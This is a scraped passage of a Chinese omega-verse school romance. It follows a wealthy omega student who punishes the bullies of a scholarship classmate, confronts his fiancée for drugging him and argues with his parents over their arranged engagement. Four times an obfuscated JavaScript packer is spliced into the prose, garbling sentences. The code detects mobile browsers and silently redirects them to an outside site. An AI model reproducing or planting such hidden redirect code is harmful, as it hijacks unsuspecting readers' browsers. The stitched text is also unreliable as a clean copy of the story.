发消息的人最好是有什么十万火急的事情。 不然...... —sy1011:【一张图.jpg】 是匙越的消息。 隽云用力点开图片。 图片应该是在学校的哪个角落,地上散落了很多的书,还有一个书包孤零零地躺在地上,周围的花坛一角的灌木丛被压塌了,似乎刚才有人倒在那里。 这是...... 出事了? 而画面正中心的人嘴角处有些淤青,额前的头发湿了,被随意地撩至脑后,露出光洁的额头,上面还有汗珠挂在上面,手臂伸长,衣料沾了土,神色懒懒地举着手机,如果不是因为嘴角处明显的淤青,可以算得上很帅气的自拍照了。 可惜很快,匙越给他发消息:怎么办? —sy1011:被欺负了! 隽云呆在床上,头上一根头发翘起,手撑在床上趴着,一时间不知道该回什么。 什么??? 匙越被人打了...... 不是,一米九的个头,怕猫、还打不过别人被人打了? 就在这时,匙越又给他发了个消息: —sy1011:有人打我! —sy1011:Q口Q! 隽云彻底无语:“......” 还真是弱啊...... 家境差的人在星耀容易被欺负,更何况是社会招考生,更容易被人看不起,所以隽云其实又想到过他可能会被欺负,不过没想到这么快,这才没开学几天。 他回想起出医院后第一次在外面约着见面,是在东城区的老巷子里。 应该是匙越家附近,选在了满足他要求的偏僻且没有人的地方。 巷子很挤,电线杆胡乱穿过头顶,墙上的油渍和角落厚厚的青苔都透露出附近生活的人的拮据。 他的家境真的很差吧。 那是隽言踏入巷子时脑海里第一时间浮现的想法。 第一次亲隽云准备了很久的心理准备——因为从来没有亲过别人,他爸妈也没有。 蜻蜓点水很快亲完,隽云走后给他发消息,告诉他会给他一笔钱。 但是匙越没要,那时候他回的消息是这样的。 —sy1011:钱就不要了,以后有什么需要的,我会发消息给你。 收到消息的时候隽云抬头看着头顶杂乱的电线,如同云翳一样,将头顶的晴天切成几十片。 还有一个月...... ...... 而现在一个月之期就快到了,今天上午放学后他对匙越说了,让他有什么需求就尽早提。 所以...... 隽云看着手机上来自sy1011的信息,这就是他提出的要求吗? 毕竟除了学生代表,匙越没有对他提过什么其他的要求。 所以,这次被欺负了特意来找他帮忙? 星耀中学看中家世门楣,入学的大多都非富即贵,学生们从小生活在名利场,很会攀炎附势,不敢欺负身份地位更高的人。 而隽家持有学校股份,是学校第一大股东,铭升集团是给学校出资最多的集团,作为隽家独子,隽云他才会在高一一入学就直接担任学生代表。 其他同学们都对他十分忌惮尊敬,他是知道的。 所以,在学校里他倒是能保护他。 举手之劳罢了。 可以。隽云想了想,这倒不是难事。 他看了一会儿匙越的照片,然后切回聊天框打字: —云:今天下午上课前,你在天台等我。 那就...... 顺手帮他一个忙好了。 sy1011很快回复:好。 * 匙越发完消息就把手机揣进兜里,他拍了拍身上,转过身,手机拍不到的地方躺了三四个穿校服的瘦弱青年。 他们躺在地上,要么捂着头要么捂着肚子在地上呻吟。 书包、各种本子笔都散落一地,随着刚才的打架踢到很远,见匙越发完消息后把手机放回兜里,朝他们走过来。 一个染着黄色头发的男生曲着腿害怕地往后撤:“你、你别过来......” 匙越的笑容更大了,阴森血腥,他转了转脖子和手腕,“咔咔”的声音响起,宛如来自地狱的恶魔,东方的阎王,西方的撒旦。 “好久没打架了。” 匙越走过来,一脚踩到他的胸口上,从高到低俯视着他,黑眸微眯,他吐出两个字: “找死?” * 星耀中学十二点放学,午休时间两个半小时,两点半才上课。 两点的时候隽云就到了学校,他给那几人发了消息,让他们来一趟学校。 那几人收到隽云的消息,碍于隽家的势力,他们十分忐忑地提早出了家门。 ...... ...... 隽云进了校门,穿过学校门口的钟楼大堂,然后沿着小道走到高三楼,他们教室在高三楼第三层,但是经过第三层隽云没停,径直上了第六层,顶楼。 顶楼的门挂了一把锁,但是没人推开,四个人排成一排站在门口等隽云过来。 四个人身上均有不同程度的伤,一个人脸颊两侧十分红肿,似乎是被扇肿的,他拿着一袋冰块在龇牙咧嘴地敷,剩下三个人,手臂、脸上,所有裸露出来的地方都有不同程度的擦伤,涂了红红紫紫的药膏。 隽云站在楼梯上一愣,他上楼:“就是你们四个人打的匙越?” 那四个人齐刷刷抬头,表情很迷茫,他们只知道隽云有事情找他们,但是没想到是这个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16473006|185571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事情。 不过可能是来帮他们的...... 他们脸色一喜,毕竟他们分明听说的是隽云和匙越关系不合,所以他们才会肆无忌惮地围了匙越打算揍他一顿。 刚准备告诉隽云,紧接着,隽云说的一句话就彻底击碎他们的幻想: “是谁指使你们打他的?” 等等...... 四个人互相看一眼,脸上的表情顿时变了。 ......不是, 怎么是来替匙越兴师问罪的!??? 隽云:“怎么都不说话?” 隽家家大业大,旗下子公司涉及多种产品,因而有许多品牌会选择和隽家谈生意、攀关系,敢得罪隽云,那就是得罪隽家,家里的生意,正在接洽的项目都会受到影响。 因而他们不敢不回隽云的话,四个人你看我我看你,推出一个人出来说话,那人颤颤巍巍地说了一个名字,隽云的周身的气场霎那间森冷。 隽云:“好啊......” “等匙越来了,和他道歉。”隽云语气冰冷:“这件事,只要匙越原谅你们,我就可以既往不咎。” 那几个人的表情瞬间凝固了。 开什么玩笑? 隽云真要帮匙越??? 他们才是被打的一方,反而要他们道歉? 拿冰敷脸的人小心翼翼斟酌用词地说:“隽哥......这不太合适吧......” 隽云到底知不知道谁被打了啊!? 而且......要他找社会招考生求原谅,这......怎么可能!他以后的脸往哪搁?还怎么在星耀混啊! 虽然比起隽家,他家算不上什么,但是在A市也是有名有姓的。 这时,楼梯传来一阵脚步声,其他几人都看过去,只见匙越插着兜出现在众人面前,比起他们神情明显惬意许多,似乎只是顺路来这边看一眼。 匙越一出现,那几个人顿时肉眼可见的变得紧张了。 匙越的衣服干净,露出来的手臂没有一点伤口,除了嘴角处有一些淤青,再也看不到什么伤口了,就连嘴角的淤青面积都比对面的几人要小许多,估计不涂药的话没两天就会痊愈了。 隽云转头,也感到一丝不对劲。 不是他们打匙越吗? 怎么那四人身上的伤反而比匙越还多? 隽云问:“你们身上的伤是他打的?” 匙越站在隽云后面,面带微笑地歪头,单手抬起,横在脖子上划了一下。 无辜的眼神,善意的微笑,具有威胁性的动作,宛如披着天使外皮的恶魔,只要他们敢承认是谁打的就绝对吃不了兜着走。 回想几个小时前匙越按着他们打的狠劲和凶恶的表情,冰块敷脸的人突然觉得脸更疼了,几个人生理性惊惧,不由自主地腿抖手抖。 警告他们闭嘴的话在耳边回响,那几人纷纷摇头,咬着牙说: “不是,不是他打的......” “不是他打的,我脸痒,自己打自己打着玩。” “来的路上不小心摔了。” “我自己弄的。” 没办法,匙越下手太狠了。 十几年来一路顺风顺水养尊处优,只会作弄别人的小少爷们也是开了眼了。 本来只是想几个人一起给匙越一个教训,让他在学校里别这么嚣张,却没想到反而被匙越按在地上揍。 说匙越是个混进学校的地痞流氓也不为过,按着他们打最后还警告他们......一连串恶霸行径非常熟稔。 偏偏这个人还穿上了星耀中学的校服,成绩还特别好,当上了学生代表。 ...... 隽云见那几人神情复杂,于是他顺着他们的视线转身看去,就看到匙越一米九的个头躲在他身后,低着头,睫毛颤动嘴角平直,额前头发乖顺地扫下来。 很乖,很委屈。 甚至不为自己辩解一句话。 13. 第十三章 嘴角的淤青刺眼,他不说一句话,但是就差把受了委屈这几个字写脸上了。 隽云叹了一声,星耀中学对社会招考生的霸凌的行径确实十分严重,哪怕匙越是学生代表,也很难躲过去,稍不注意就会被人欺负。 哪怕是找班主任或者报警也是没用的,每年都有社会招考生被逼到选择转学的。 隽云对他们几人说:“道歉。” 那几人傻眼了。 不是吧? 还真要他们和社会招考生道歉啊? 群里不是说他们关系视同水火? 这哪里是关系不好? 这简直不要太好啊...... 几人互相对视一眼,都看得到对方眼里的震惊。 他们几个长这么大从来没有和谁道过歉,只有别人和他们道歉的份。 另一方面......当着别人的面和社会招考生道歉这不是丢死人!? 开什么玩笑? “动手打人,违反校规。”隽云:“最低是什么处分来着?” 匙越自然而然地接话:“最低警告,最高开除。” “开......开除?” 那些人顿时一抖擞,他们虽然和隽云不在一个班,但是高一的时候也是听说过隽云的轰动事迹的。 他高一的时候就让一个男生退学了,甚至从此人间蒸发再也没在A市听说过他家的动向了,据说举家搬迁到了其他市发展。 那几人腿肚发颤,他们只是不想道歉,但是绝对不是想从星耀退学啊...... “对......对不起......” “匙越同学,是我的错......” “对不起,请你原谅我们......” “对不起对不起。” 匙越从隽云身后走出,一米九的个头带来极强的威压感,肩膀宽阔,他的身影投影在门上。 匙越俯视着他们恐慌的面庞,唇角勾起,拍了拍中间的人肩膀,视线一一扫过他们四个人,在隽云看不到的地方,语气轻柔但表情森然地对他们说: “没关系,今天的事情就当做没发生过吧,以后也不要和别人提起,不然......” “我我我保证不和任何提起!” “我我就当没发生过!” “我保证老师和其他同学都不知道!” “我也保证!” “很好。”匙越转身,隽云看到他“和蔼”地拍拍他们的肩背,示意他们下楼: “去吧。” 错落又急急的脚步声在楼梯口响起,直到再也听不见。 ...... 一道拉闸门的声音响起,隽云回过头,就看到匙越拉开老式的铁横锁,单手一推,“吱呀”一声,老旧的天台大门就被推开了。 廊道的灯光很暗,站在廊道看到透过的高大的漆蓝色大门外面光线亮堂,深蓝的天空上是悠悠的大朵白云,像漫画一样的景色。 匙越迈步进了天台,隽云在后面跟上去。 蓝天白云,隽云闭上眼深呼吸,心防卸下,感觉全身都轻松许多。 再睁开眼,看见匙越站在几米开外,双手插着兜看着他,隽云眉骨干净利落,眼眸带着笑意,说了下午第一句对他说的话: “今天下午,天气不错。” 隽云唇角一勾:“是不错。” 心情也不错。 目及开阔,深蓝天空下绿草绿树茵茵,不远处是红色的大礼堂尖顶,周围高大的白色建筑掩映在绿树后面,远处地面零散有几人走过。 欣赏了一会儿风景,微风吹动隽云的头发,也把匙越的声音传到了耳边,他听到匙越说: “你要检查一下伤口吗?” 检查伤口? 隽云转头,目光落在他的嘴角的淤青:“不就嘴角吗?” “可能还有其他地方。” ...... ...... 天台有一些废弃生锈的钢材横七竖八地倒着,角落里还有一沓不知道是什么年月的报纸、书本、练习册堆了高高几堆,被雨水打湿后又被风吹晒干的发皱。 匙越挑挑拣拣,拣出一本还算干净的,丢在一个横着的看着还算结实的钢架上,然后坐在上面,高度刚好到隽云的胸口。 坐下来之后就没显得那么高了,只不过匙越骨架很大,肌肉绷着,穿着校服哪怕坐下来了也显得很大一只。 隽云身形清瘦,站在他面前甚至挡不住他。 匙越手撑在侧身后,往后仰着抬头看他,他的眼睛有点亮,倒映出隽云的模样,神情乖张。 那一瞬间,隽云觉得他有点像一只很乖的小狗。 一只体格很大很大的小狗。 匙越的头刚好到他的胸口,抬手就能抚到他的头,那确实是一个很好的摸头姿势,鬼使神差地,隽云伸手,指尖碰了碰他的头发。 冰凉的手指碰到他额头上的皮肤,很热,还带着一点汗,沾到他的手指上,隽云的指节白皙,他把匙越有些汗湿的碎发撩起来了。 额头光洁饱满,本来没有瑕疵的皮肤,上面有一点红色擦伤,破皮了,形状大概两个指甲盖大小。 “也是他们做的吗?” 匙越鼻腔里“嗯”了一声,张口就来:“中午的时候,他们四个人把我围住,有个人揍了我一拳,还有人指着我骂,但是我相信他们是没有恶意的。” 隽云前几句听的很认真,没想到最后一句走向在他的意料之外,他怀疑自己听错了。 什么? 没有......恶意? “怎么了?”匙越神色自然。 隽云:“......” 虽然说身为社会招考生,在学校被欺负实在是太正常不过了,但是,匙越刚刚的话还是震得他迷茫了一瞬。 隽云神色复杂,忍不住上下打量他。 而匙越的眼神看起来很澄澈无辜,丝毫不觉得自己说的话有什么问题,语气轻快: “你为什么这么看我?” 隽云:“......” 这个人......该不会是傻子吧? 但是他良好的教养还是没让他说出口那两个字,而是组织了一下措辞后说: “你......还是太老实了。” “会吗?”匙越笑了一声。 “嗯。”隽云点头:“你这样在星耀会很容易被欺负。” “噢......”匙越似懂非懂地点头:“那怎么办?” 隽云他皱着眉想了想,然后说:“有什么事你就来找我。” 虽然他不喜欢管别人的事,但是这点小忙他帮帮还是可以的。 “那真是谢谢了。” “不客气。” 隽云抓着他刘海的手松开,把他的一边的额前发放下来。 但是匙越的表情看起来实在是有点乖,于是隽云犹豫了一下,手悬空,然后挪了点位置,在他的头顶揉了揉。 这很稀奇,第一次摸别人的头。 还是摸一个高个男生的发顶。 匙越的头发并不软,介于柔软和刚硬之间,有点像大型狗狗的毛,有点扎手,但也很好拢着、散开,隽云抓紧了一瞬,又松开,他动作很轻地揉了揉,自认为匙越应该不会发现他这种小动作。 匙越的头离他的胸口很近,衣料几乎扑在他的脸上,匙越的呼吸沉了沉。 隽云浑然不觉,他退后一步打量匙越被他抓的发型。 好了,有点潦草,更像风中凌乱的小狗了。 匙越的腿很长,曲着腿懒散地踩着地面,两腿大开,而隽云站在他的腿中间,离他太近了,他能闻到隽云胸口的淡淡香味。 腰很细,好像一只手楼的过来,而只要搂过来了,正对着的胸口部位就会与他的唇齿密切贴合...... 匙越身后侧的手紧了紧,喉结滚动: “你在干什么?” “没什么。”隽云正了正神,煞有介事地说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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来到这里能享受到A国最顶级的教学和升学保障——国内外无数的学校、比赛、招聘......会因为是星耀中学毕业的而递来免试的橄榄枝。 同样的,在星耀读书的人也要忍受因为家境不够富裕而带来的排挤。 在这里读书的学生们掌握着A国98%的资源命脉,要么绝对富有,要么顶级聪明——通过竞赛、全国联考获得星耀中学校考的资格,再从中挑选排名一二的学生作为社会招考生进入学校就读。 难度系数非常高。 能以成绩入学星耀中学可以说是天才学霸,但是即便这样,也很少人会选择高三了还转来星耀中学——太冒险了,不如在原来的学校努力读书考大学。 “所以,你是为了他才来这里的。”不是疑问句而是肯定句。 隽云平静地问:“他是谁?” 匙越觉得他一连串的问话很有意思:“你很好奇?” “想多了。”隽云探出的触角收了回去,于是冷冷又倨傲地说: “那倒也没有。” 他根本不会在乎一个陌生人,而匙越对他来说原本也不过是一个陌生人。 匙越:“暂时还不能告诉你。” 隽云对别人的秘密没有什么窥探的欲望,不告诉他他也不会打破砂锅问到底。 隽云面无表情:“那好吧。” 伤口看完了,隽云从他腿间出来,拉开了和匙越的距离,他走到旁边的栏杆处,看远处的风景。 匙越手撑在身后仰头看天,天很蓝,天空没有一点遮挡,不像东城区,总是有乱糟的电线、拥挤的房屋挡到天空。 他的心也很静,东城区的悲伤和痛哭似乎已经顺着浓烈的太阳蒸腾上空,随着微风吹散,曾经的那些时刻已经离他很远很远了。 只剩下埋在心里的,他时刻提醒自己不能忘的仇恨。 阳光突然变得有些刺眼,匙越眯了眯眼,他伸手,阳光穿过他指间的缝隙落在他的脸上: “但是以后可以告诉你。” 风吹来,隽云背对着光线,有些逆光,他的声音被风吹散了,有些不真实: “可以......那就一言为定了。” 14. 第十四章 隽云和叶馨言一起出了校门,司机下来把车门打开,隽云和叶馨言坐了进去。 宽敞的迈巴赫后座很宽敞,叶馨言和隽云各坐一边,隽云只在司机问他“少爷我发车了”时,淡淡地“嗯”了一声后,就没说话了。 叶馨言从包里拿出来一个镜子看了一下自己的妆容,她今天化了一点淡妆。 车窗传来声音,叶馨言转头看去,是隽云把车窗降下来了。 车内沉闷的空气倏地流动起来,从叶馨言的角度只能看到隽云的蓬松的头发和纤细的脖颈。 他单手撑在扶手上看窗外,只留给了她一个后脑勺,皙修长的手指在车门边上无节奏地敲打,似乎是有些烦躁。 很快,叶馨言听到他的声音:“今天中午的事情,是你做的吧?” 叶馨言下意识问:“什么事?” 隽云看着外面快速飞过的建筑:“是你让那几个人今天中午去找匙越麻烦的。” 没想到隽云会知道这个事,叶馨言眼中闪过一丝疑惑,很快她就抛之脑后了,毕竟他们是一个班的,隽云知道匙越被打了也不是不可能。 原来是说这个事...... 叶馨言一下就放松了,眉眼间挂着一点得意:“你觉得我做的怎么样?” 毕竟那时在校门口,匙越开着车撞开她,某种程度也下了隽云的面子。 毕竟她是他的未婚妻。 隽云转过脸来,漆黑的眼眸里没有什么波澜,只有一望无际的平静,问她:“为什么?” “什么为什么?”叶馨言不解。 “那天在学校门口,他敢撞我们啊,还以为我查不到他?我不过是给他一点小教训......让他长长记性,他一个社会招考生,不懂礼貌是不行的。” “还有,开学那天,他居然敢抢你的学生代表上台发言,真是不知死活,”叶馨言捋了一下头发:“不过,那几个人还没和我说事情办的怎么样,奇怪,往常他们几个不是最积极了吗?” 车后视镜倒映出隽云和叶馨言的模样,隽云没有接话,他冷笑了一声: “上次酒店的事,也是你做的吧。” 闻言,叶馨言整理头发的手一顿,整个人瞬间僵硬住了。 “什么......” “半个多月前,麦嘉莉国际酒店,有个侍应生向我下了药,是你做的吧?”相比叶馨言的惊诧,隽云的语气还算冷静。 查了半个多月,最终查到那名服务员是叶家的人。 叶家这个名头一查出来,到底是谁做的就十分了然了。 心情不是很好,隽云扯了扯嘴角,对叶馨言这一行为做了个评价:“你还真是无耻。” 隽云不会说脏话,也很少说什么重话,这句话从他口中说出来,已经是非常过分的了。 叶馨言猛的转过去看他:“我无耻?” 隽云的瞳孔水亮,带着一点逼人的冷酷:“你觉得我查不到你?真是没想到,身为检察院检察长独女,你的家教就是给omega下药?这放在你们检察院的案件里,恐怕可以判几十年刑了吧?” 他的笑很带着一种很凉薄的意味:“可惜你手脚不干净,还是被我查到了。做到这种地步,我会转而告知你父母还有你爷爷,我看我们两家的联姻还是算了吧。” “......什、什么?你说什么算了?” 叶馨言不敢置信:“你要和我取消婚约?” 不就是下了药吗? 可是最终什么也没发生啊! 就算发生了,她和隽云是订过婚的关系,那又怎么了? 虽然她自知理亏,但还是慌乱地找补:“隽云,我和你已经订婚了,可是这两年来不说临时标记,我们手都没牵过......你怎么能这么对我?你知道我跟我爸妈是怎么说的吗?我说我们感情很好,每次我易感期也是你帮我度过的,但实际上每次这种时候你在哪!?” 对她而言,不牵手、不帮她渡过易感期就是很过分的行为了? 隽云觉得很可笑,打断她:“那是你的事,我们只是订过婚的关系,你说的事情我没有义务履行,还有叶小姐,你觉得,我们很熟吗?” 什么...... 叶馨言的脸上红白交错,她咬住下唇,却难以抑制地尖叫:“你说我们不熟?” 那他们认识的这两年算什么? 她双唇颤颤:“你......你不过就是个omega......” 她气急攻心,顿时就说出了她内心最真实的想法。 omega这种人群就是软弱、脆弱,需要人保护的,更别说掌握集团权利了,不然他爸妈也不会早早就联姻了。 不就是想要个alpha掌权吗? 但是隽云偏偏不识抬举,总是和她保持着若即若离的距离......所以她才会想到这一招,逼他们关系更进一步。 她有什么错?本来就是未婚夫妻的关系。 她从来没有和他说过这种话,如今也是慌不择路地说出来了。 隽云不言语,脸上的神色似笑非笑,放在扶手上的手已然捏紧。 是,他是个omega,可他也最痛恨他omega的身份。 omega的体质特殊,一旦发情,他就会像沦为□□的动物一样失去理智地渴望alpha,渴望得到爱抚,渴望被标记。 他决不会变成那样——就像一头匍匐、等待爱抚的野兽。 他宁愿他是个beta! 所以,在腺体分化成omega之后,他才会每周都给自己打抑制剂,为的就是抑制自己发情。 他从十六岁打到十八岁,这两年时间一直在压制发情,才会引起严重的反噬,导致出现了十分猛烈的发情热,甚至需要依赖高匹配度alpha的信息素来度过最近这一个月 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16473008|185571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 事实上,不仅他对他是omega的身份感到十分失望,他的父母也是。 家大业大的隽家具有在A市十分庞大的商业版图,他们需要一个强大有铁血手腕,心理素质身体素质都过硬的alpha继承人,而不是身娇体弱、需要被人保护的omega。 于是在14岁完成分化拿到检测报告的时候,他们清楚地看到他们脸上的失望——甚至都不在他面前掩饰。 那天晚上在饭桌上,他在旁边,听着他们讨论要不要再试管一个孩子。 就像在讨论要不要再重新开发一个新项目。 他们想要通过基因筛查的方式再生个alpha——但是基于失败率高以及培养的时间成本,最终还是放弃了。 于是他们选了一个退而求其次的办法——联姻。 联姻,能扩大他们在政界和商界的地位和影响力,至少发布订婚消息的时候,铭升集团的股票确实大涨,一连拿下好几个项目,就连他爸爸也升了官,从副职升到了正职,顺利坐稳了A市政府的一把交椅。 只是,隽云不喜欢他的联姻对象,也厌恶腺体成熟后的发情期,于是他开始偷偷给自己打针。 他一直在抑制自己发情,不许叶馨言打听他发情期,这样就不会被她意外标记。 只是他没想到,叶馨言会出此下策,不知道他什么时候发情,就逼着他当面发情,只要生米煮成熟饭了,顺利完成标记了,他们二人的关系也就能更进一步了。 他不明白叶馨言喜欢他什么。 “停车。”隽云冷冷说。 一阵急切的刹车音,车子稳稳停在了路边。 隽云闭上眼:“你可以下车了。” 叶馨言脸色复杂:“隽云......” 隽云眼下有淡淡的乌青,神色冰冷,语气中是浓浓大掩盖不住的厌恶: “我不想再说第二遍。” “你......” 叶馨言半道被赶下车,她气的把车门一甩,发出一声巨响。 “嘭!” 司机吓了一跳,他面色尴尬:“这......少爷,我们把半路丢下叶小姐不好吧?” 车窗缓缓上升,隽云的语气命令: “现在开车,回家。” 街道重新驶入人流聚集区,但是因为人多,车速压的很慢走不动。 自行车道和主干道只隔了一丛绿色的草坛,才九月份,高大的树木枝桠繁茂,有蝉和飞鸟在树枝上此起彼伏地鸣叫。 路边蛋炒饭的香气顺着大开的车窗钻入人的鼻腔,油烟气氤氲中,骑车的少年飞驰而过,白衣鼓囊衣角飘起,蓝天悠悠,肆意而又张扬。 在四方密闭的车里,隽云突然觉得胸闷,呼吸有点困难,他的胸膛起伏,指尖轻轻搁在窗户上,顺着少年飞驰而去的方向划了一条线,喃喃一声: “好自由。” 15.第十五章 晚上回去的时候,爸妈都不在家,他按部就班地写完了作业,然后洗漱睡觉。 直到半夜一点,他被叫下楼。 客厅几净窗明,灯火通亮,他爸妈坐在沙发两侧,面色严肃。 他穿着一身丝质睡衣睡裤站在客厅中间,头发微翘,神色冷淡,客厅的灯光惨白晃眼,照在他身上,四周站着佣人,而他站在中间,站在父母面前像是一个要被审判的罪人。 “你和馨言说什么了?他爸妈说回家后她一直在哭。” 原来是这个事。 因为联姻的事,他们又特地回家一趟。 他还没来得及和他们提这件事,他们反倒要迫不及待地要问他话了。 刚好,现在说也不迟。 隽云五指收拢,指甲盖深深戳入手心:“我想......” “我想取消联姻。” “你说什么!?”他妈顿时站了起来。 “你再说一遍!?”他爸爸勃然大怒:“婚姻大事,你说取消就取消?你眼里还有父母还有隽家吗?” 隽云张了张口,什么都没说出来。 “小云啊,”元青神色和缓,徐徐打圆场:“那天酒会上的事,馨言爸妈已经和我们说过了,馨言只是一时糊涂,做了点错事,他爸妈也和我们承诺了,会在接下来的项目合同上让利三个点,作为给我们的补偿,你看这不如就算了?” “所以,”隽云的声音很轻:“这件事就这么过去了?” 甚至是在他不知情的情况下完成的谈判。 “联姻不可能取消!”爸爸语气严肃,他取下金丝框眼镜扔在沙发上: “我们需要叶家的势力,马上要竞选下一任A市市委委员长,我需要叶家的选票,何况,和叶家联姻,对你妈妈经营的铭升集团也是一个极大的帮助。” 隽云:“所以......” 隽诉打断他:“取消联姻?你想都不要想。” 隽云的手缓缓攥紧了。 哪怕在A国的法律明文里违背omega意志的行为已经算违法了,但是不管联姻对象alpha对他做了什么,他依旧不能摆脱这场联姻。 但是在他父母看来,哪怕隽云被下药了都没有婚期顺利进行重要。 隽云好半响都没能说出话,喉头艰涩。 “行了!”隽诉大手一挥,神色有些厌倦:“都是小孩间的小打小闹,明天晚上我们和叶家一起吃个饭,这事就这么过去了。” 啊...... 就这么过去了...... 隽云握着的拳头虚虚松开,他的心一下沉了下去。 呼......他努力放松自己。 也是预想中的结果不是吗? 他的父母根本不可能因为顾及他的感受而拒绝联姻。 他只是一个为了稳固父母联姻而生下来的孩子。 甚至都不是他们亲自生下来的。 从十岁的时候他在家里乱翻,翻出人造子宫的代孕证明,他就该明白了。 为什么父母对他这么冷漠强势,甚至他像一颗棋子一样被安排好人生的每一步? 因为,他的父母并不爱他。 他们只需要小孩听话,当一个沉默听话,没有自主行动意识,完全顺从的机器人。 但是这次......他想为自己争点东西。 隽云抬眼:“我可以当这个事情没发生过,但是我有一个要求。” “什么要求?”隽诉问。 隽云面容冷淡,他强压下喉头的酸涩,呼出一口气想让自己像一个真正的机器人一样,从旁观的角度,审时度势地谈判: “以后我想去哪就去哪,不要再监视我。” 既然没有办法退掉这场联姻,那他总归得利用好这次机会为自己谋取一些东西。 ...... ...... 漫长而煎熬的谈话结束了,他爸妈最终松口,同意放松一点对隽云的监控。 隽云回到了自己的房间。 他给自己倒了一杯水,然后放在床头,接着把所有的灯都熄灭了。 在漆黑一片的房间里,伸手不见五指,隽云坐在床边,静静的坐了一会儿,呼吸渐渐急促起来,忽地心头一窒。 白皙泛红的指尖挂满了汗,一路踉跄地摸索到床头柜最底下一个柜子,用力打开把里面卡着的一瓶药拽出来。 就着月光,隽云倒了几粒药丸在手上,仰头吃了,他颤着手拿起床头的水杯,送服了几口。 水顺着白皙的下巴流淌进领口之中,隽云把杯子放到桌上,胡乱地抹掉下巴上的水珠。 一抬头,看到一轮月亮挂在阳台外边,透过阳台的玻璃门能看到洁白无瑕的月亮。 今天的月亮好圆好亮,得到了父母手指头缝里漏出来的一点让度,似乎也不算太糟糕。 * 周一,隽云到学校到的很早,因为不用专程去接叶家接叶馨言了。 下药的事情被揭穿,起码有一段时间叶馨言不会出现在他面前晃眼。 课桌子上的书堆垒得整齐,书包也工整地挂在椅子后,隽云低着头,面庞白皙沉静,他正在看一本全英文书,里面在讲一个人从监狱里逃走的故事。 今天第一节是班主任老棠的课,她上课的书是《古今中外商业案例》,是专门为这所学校的学生开设的一门课。 上课铃响后,班里安静下来。 但是等了几分钟也没见班主任来教室上课。 等了五分钟,老棠才姗姗来迟。 她穿着一身印花长裙,拿着便携式小蜜蜂扩音器和几本教案进来了,很快,匙越跟在她后面进了教室。 所有人眼睁睁看着匙越从前门进来,穿过大半个教室到他的位置上坐下。 教室有低低的窃窃私语声: “怎么回事?老棠刚刚在和这个社会招考生聊什么?” “是不是闹事了?” “胆子真大。” “好了,安静......”老棠把书放在讲台上后说:“今天我们继续来学习......” 文强他闻到了一丝不寻常的八卦味道,他立起书来挡着自己的脸,嘘声问旁边的人: “喂,喂......陆思华,隽云,老棠是不是找匙越谈话了?不然他们怎么前后脚进教室?” 陆思华没什么表情地把自己的书翻到老师说的页数,然后说:“不知道。” “隽云,你觉得呢?” 隽云朝斜后侧方瞥了一眼,拿起笔来开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16477425|185571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 始做笔记。 文强“啧”了一声:“你们真没意思。” 前桌的柳元誉烦躁地说:“文强你能不能安静点?” ...... ...... 等到下课后,老棠把作业布置下去,又点了一个人的名字:“匙越,你跟我出来一趟。” 匙越淡淡地“嗯”了一声,然后在众人的视线中起身,跟着班主任出去了。 文强心痒无比,他也悄悄跟上去。 * 等文强回来的时候已经快上课了,匙越依旧没有回来,文强走回座位的时候头扬的很高。 有人问他:“诶,文强,你听到什么了?” 隽云微微侧过脸,就看到文强神神秘秘地说:“超级劲爆!” 旁边一群人顿时胃口被吊起来了: “什么事啊?” “什么什么?” “快说吧别卖关子了。” 文强笑的很得意,在万众人期待的目光中,他晃了晃脑袋说: “保密!” 旁边的人一众嘘声: “切。” “嘁......” “爱说不说......” 文强很兴奋地坐到位置上,他把隽云陆思华拉到一起,建了个三人群。 他摩拳擦掌,觉得隽云肯定会对这个事情感兴趣的! 毕竟他俩不对付的事情已经在学校里传开了,至于为什么隽云还没对匙越动手,纵容他骑到自己身上那就不知道了...... 总而言之,他刚刚得到的消息能让隽云扳回一城来。 —清醒也是一种罪?:@云@陆思华,惊爆!你们猜我听到什么了?我在老棠办公室听到她问匙越平常生活有没有什么困难,学费什么时候交。 —清醒也是一种罪?:@云@陆思华,搞什么啊?这个社会招考生没交学费?没钱还来星耀读书,该不会还要打零工挣学费吧?还当学生代表平时这么忙,他这不是自找苦吃吗? —清醒也是一种罪?:@云,隽云我看你也不用对他下手了,他马上就要因为交不起学费被fire了[比耶][比耶] —陆思华:无聊。 没交学费? 隽云看着手机上一连串消息轰炸,他皱了皱眉。 